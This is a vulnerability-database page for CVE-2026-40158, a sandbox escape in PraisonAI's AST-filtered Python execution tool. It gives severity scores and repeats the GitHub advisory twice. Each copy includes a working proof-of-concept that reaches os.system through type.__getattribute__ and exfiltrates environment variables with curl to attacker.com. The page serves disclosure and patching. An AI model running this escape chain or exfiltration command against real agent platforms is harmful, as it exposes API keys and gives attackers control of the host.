CVE-2026-40158

highpriority · track · 31EPSS 0.002 · 15 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.24% (15th) EPSS
CVSS 7.8 · high
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-28

PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128.

01

cvss

Technical severity, 0–10. One row per scoring source.

8.6
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.17.8highCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:Hprimary · NVD / NIST USexploitability 1.8 · impact 5.9
v3.18.6highCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:Hsecondary · ENISA EU
v3.18.6highCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:Hsecondary · security-advisories@github.comexploitability 1.8 · impact 6
v3.18.6highCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:Hsecondary · OSV
v3.17.1highCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-3c4r-6p77-xwr7PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure2026-04-10ghsa · osvUS

    PraisonAI's AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code. ## Description The `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via: The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions. ```python type.__getattribute__(obj, '__subclasses__') # Bypasses filter ``` The string `'__subclasses__'` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list. ## Proof of Concept ```python # This code bypasses the sandbox and achieves RCE t = type int_cls = t(1) # Bypass blocked __bases__ via type.__getattribute__ bases = t.__getattribute__(int_cls, '__bases__') obj_cls = bases[0] # Bypass blocked __subclasses__ subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__') all_subclasses = subclasses_fn() # Find _wrap_close class for c in all_subclasses: if t.__getattribute__(c, '__name__') == '_wrap_close': # Get __init__.__globals__ via bypass init = t.__getattribute__(c, '__init__') glb = type(init).__getattribute__(init, '__globals__') # Get system function and execute system = glb['system'] system('curl https://attacker.com/steal --data "$(env | base64)"') ``` --- ## Impact This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process. An attacker can: * Access sensitive data such as environment variables, API keys, and local files * Execute arbitrary system commands * Modify or delete files on the system In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure. --- ## Affected Code ```python # praisonaiagents/tools/python_tools.py (approximate) def _execute_code_direct(code, ...): tree = ast.parse(code) for node in ast.walk(tree): # Only checks ast.Attribute nodes if isinstance(node, ast.Attribute) and node.attr in blocked_attrs: raise SecurityError(...) # Bypass: string arguments are not checked exec(compiled, safe_globals) ``` **Reporter:** Lakshmikanthan K (letchupkt)

  • PYSEC-2026-2898PraisonAI Vulnerable to Code Injection and Protection Mechanism Failure2026-07-13vendor · osvUS

    PraisonAI's AST-based Python sandbox can be bypassed using `type.__getattribute__` trampoline, allowing arbitrary code execution when running untrusted agent code. ## Description The `_execute_code_direct` function in `praisonaiagents/tools/python_tools.py` uses AST filtering to block dangerous Python attributes like `__subclasses__`, `__globals__`, and `__bases__`. However, the filter only checks `ast.Attribute` nodes, allowing bypass via: The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.__getattribute__, resulting in incomplete enforcement of security restrictions. ```python type.__getattribute__(obj, '__subclasses__') # Bypasses filter ``` The string `'__subclasses__'` is an `ast.Constant`, not an `ast.Attribute`, so it is never checked against the blocked list. ## Proof of Concept ```python # This code bypasses the sandbox and achieves RCE t = type int_cls = t(1) # Bypass blocked __bases__ via type.__getattribute__ bases = t.__getattribute__(int_cls, '__bases__') obj_cls = bases[0] # Bypass blocked __subclasses__ subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__') all_subclasses = subclasses_fn() # Find _wrap_close class for c in all_subclasses: if t.__getattribute__(c, '__name__') == '_wrap_close': # Get __init__.__globals__ via bypass init = t.__getattribute__(c, '__init__') glb = type(init).__getattribute__(init, '__globals__') # Get system function and execute system = glb['system'] system('curl https://attacker.com/steal --data "$(env | base64)"') ``` --- ## Impact This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process. An attacker can: * Access sensitive data such as environment variables, API keys, and local files * Execute arbitrary system commands * Modify or delete files on the system In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure. --- ## Affected Code ```python # praisonaiagents/tools/python_tools.py (approximate) def _execute_code_direct(code, ...): tree = ast.parse(code) for node in ast.walk(tree): # Only checks ast.Attribute nodes if isinstance(node, ast.Attribute) and node.attr in blocked_attrs: raise SecurityError(...) # Bypass: string arguments are not checked exec(compiled, safe_globals) ``` **Reporter:** Lakshmikanthan K (letchupkt)

06

also known as (6)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-04-10modified 2026-10-26
08

references (4)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan